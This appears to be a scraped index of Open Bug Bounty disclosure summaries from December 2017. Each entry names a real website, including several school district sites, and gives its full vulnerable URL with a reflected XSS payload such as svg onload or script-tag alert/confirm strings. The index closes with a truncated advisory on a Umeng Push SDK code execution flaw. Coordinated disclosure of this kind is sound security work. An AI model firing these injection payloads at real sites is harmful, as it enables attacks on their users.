attractions2217.rssing.com XSS vulnerability

On the 11.12.2017 security researcher reported a XSS vulnerability affecting the attractions2217.rssing.com website via the Open Bug Bounty coordinated vulnerability disclosure program. Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitted via Open Bug Bounty| 11...

gerflorcanada.com XSS vulnerability

Vulnerable URL: http://www.gerflorcanada.com/canada-en/search.html?search=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5979465 VIP website status:| No...

saddlefit4life.com XSS vulnerability

Vulnerable URL: https://saddlefit4life.com/?s=%3Cscript%3Ealert1%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 13.12.2017 Latest check for patch:| 13.12.2017 21:00 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6514121 VIP website status:| ...

sheridanstreetschool.com XSS vulnerability

Vulnerable URL: http://www.sheridanstreetschool.com/apps/pages/index.jsp?uRECID=591226=uID=video=1ID=119095%22--!%3E%3CSvg/OnLoad=confirmdocument.domain%3E%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unkno...

hs.dibollisd.com XSS vulnerability

Vulnerable URL: http://hs.dibollisd.com/apps/pages/index.jsp?uRECID=169350=dID=video=1ID=94511%22--!%3E%3CSvg/OnLoad=confirmdocument.domain%3E%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

ccms.ccusd.org XSS vulnerability

Vulnerable URL: http://ccms.ccusd.org/apps/pages/index.jsp?uRECID=42670=dID=video=1ID=84521%22--!%3E%3CSvg/OnLoad=confirmdocument.domain%3E%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

bigpicturephiladelphia.org XSS vulnerability

Vulnerable URL: http://www.bigpicturephiladelphia.org/apps/pages/index.jsp?uRECID=425214=dID=video=1ID=155867%22--!%3E%3CSvg/OnLoad=confirmdocument.domain%3E%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

macs.k12.pa.us XSS vulnerability

Vulnerable URL: https://www.macs.k12.pa.us/apps/pages/index.jsp?uRECID=387593=dID=video=1ID=132579%22--!%3E%3CSvg/OnLoad=confirmdocument.domain%3E%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10467065 VIP...

sphsgoldeneagles.org XSS vulnerability

Vulnerable URL: http://www.sphsgoldeneagles.org/apps/pages/index.jsp?uRECID=514222=dID=video=1ID=164387%22--!%3E%3CSvg/OnLoad=confirmdocument.domain%3E%2222 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2274318...

gvaschools.org XSS vulnerability

Vulnerable URL: https://www.gvaschools.org/apps/pages/index.jsp?uRECID=219241=dID=video=1ID=47769%22--!%3E%3CSvg/OnLoad=confirmdocument.domain%3E%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1685457 VIP...

vellemanprojects.eu XSS vulnerability

Vulnerable URL: https://www.vellemanprojects.eu/products/search/?q=%3C%3C%22%27--!%3E%3CScript%20/K/%3Econfirmdocument.domain%3C/Script%20/K/%3E=342508〈=en Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 640057 V...

loraincounty.com XSS vulnerability

Vulnerable URL: http://www.loraincounty.com/search/sitesearch.shtml?keyword=%3C/script%3E%3E%3Cscript%3Eprompt1%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 11.12.2017 Latest check for patch:| 11.12.2017 14:09 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

istores.sk XSS vulnerability

Vulnerable URL: https://www.istores.sk/defaultcss.asp/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert0x0002DE%3C/scRipt%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 213068 VIP website status:| No...

ecured.cu XSS vulnerability

Vulnerable URL: http://www.ecured.cu////thumb.php?f=xssposed%23 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7945 VIP website status:| Yes Coordinated Disclosure Timeline: Description| Value ---|---...

rhyljournal.co.uk XSS vulnerability

Vulnerable URL: http://www.rhyljournal.co.uk/search?q=%22%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E=10=10 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1329983 VIP website status:| No Coordinated...

zsczys.com XSS vulnerability

Vulnerable URL: http://zsczys.com/search/%3C/script%3E%3Csvg/onload=confirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 101801 VIP website status:| No Coordinated Disclosure Timeline:...

monfinancier.com XSS vulnerability

Vulnerable URL: https://www.monfinancier.com/recherche?q=Try%22%27--!%3E%3CScript%20/K/%3Econfirm1%3C/Script%20/K/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 229637 VIP website status:| No Coordinated...

pudahuel.cl XSS vulnerability

Vulnerable URL: http://www.pudahuel.cl/?s=javascript%253A%2F%2F%27%2F%3C%2Ftitle%3E%3C%2Fstyle%3E%3C%2Ftextarea%3E%3C%2Fscript%3E--%3E%3Cp%22+onclick%253Dalert%28OBB%29%2F%2F%3E%2F%3Cscript%3Econfirm%28%2FOPENBUGBOUNTY%2F%29%3C%2Fscript%3E=0=0 Details: Description| Value ---|--- Patched:| Yes, at...

fishgon.com XSS vulnerability

Vulnerable URL: https://www.fishgon.com/search/find?buscadordonde=%3C/script%3E%3E%3Cscript%3Eprompt1%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2808273 VIP website status:| No Coordinated...

Umeng Push SDK Export Service Component Code Execution Vulnerability

Umeng Push SDK is a set of software development kits for developing message push programs from China AUO Umeng. Export Service component is one of the export components. A security vulnerability exists in the Export Service component in Umeng Push SDK version 3.1.X prior to 3.1.3. An attacker can...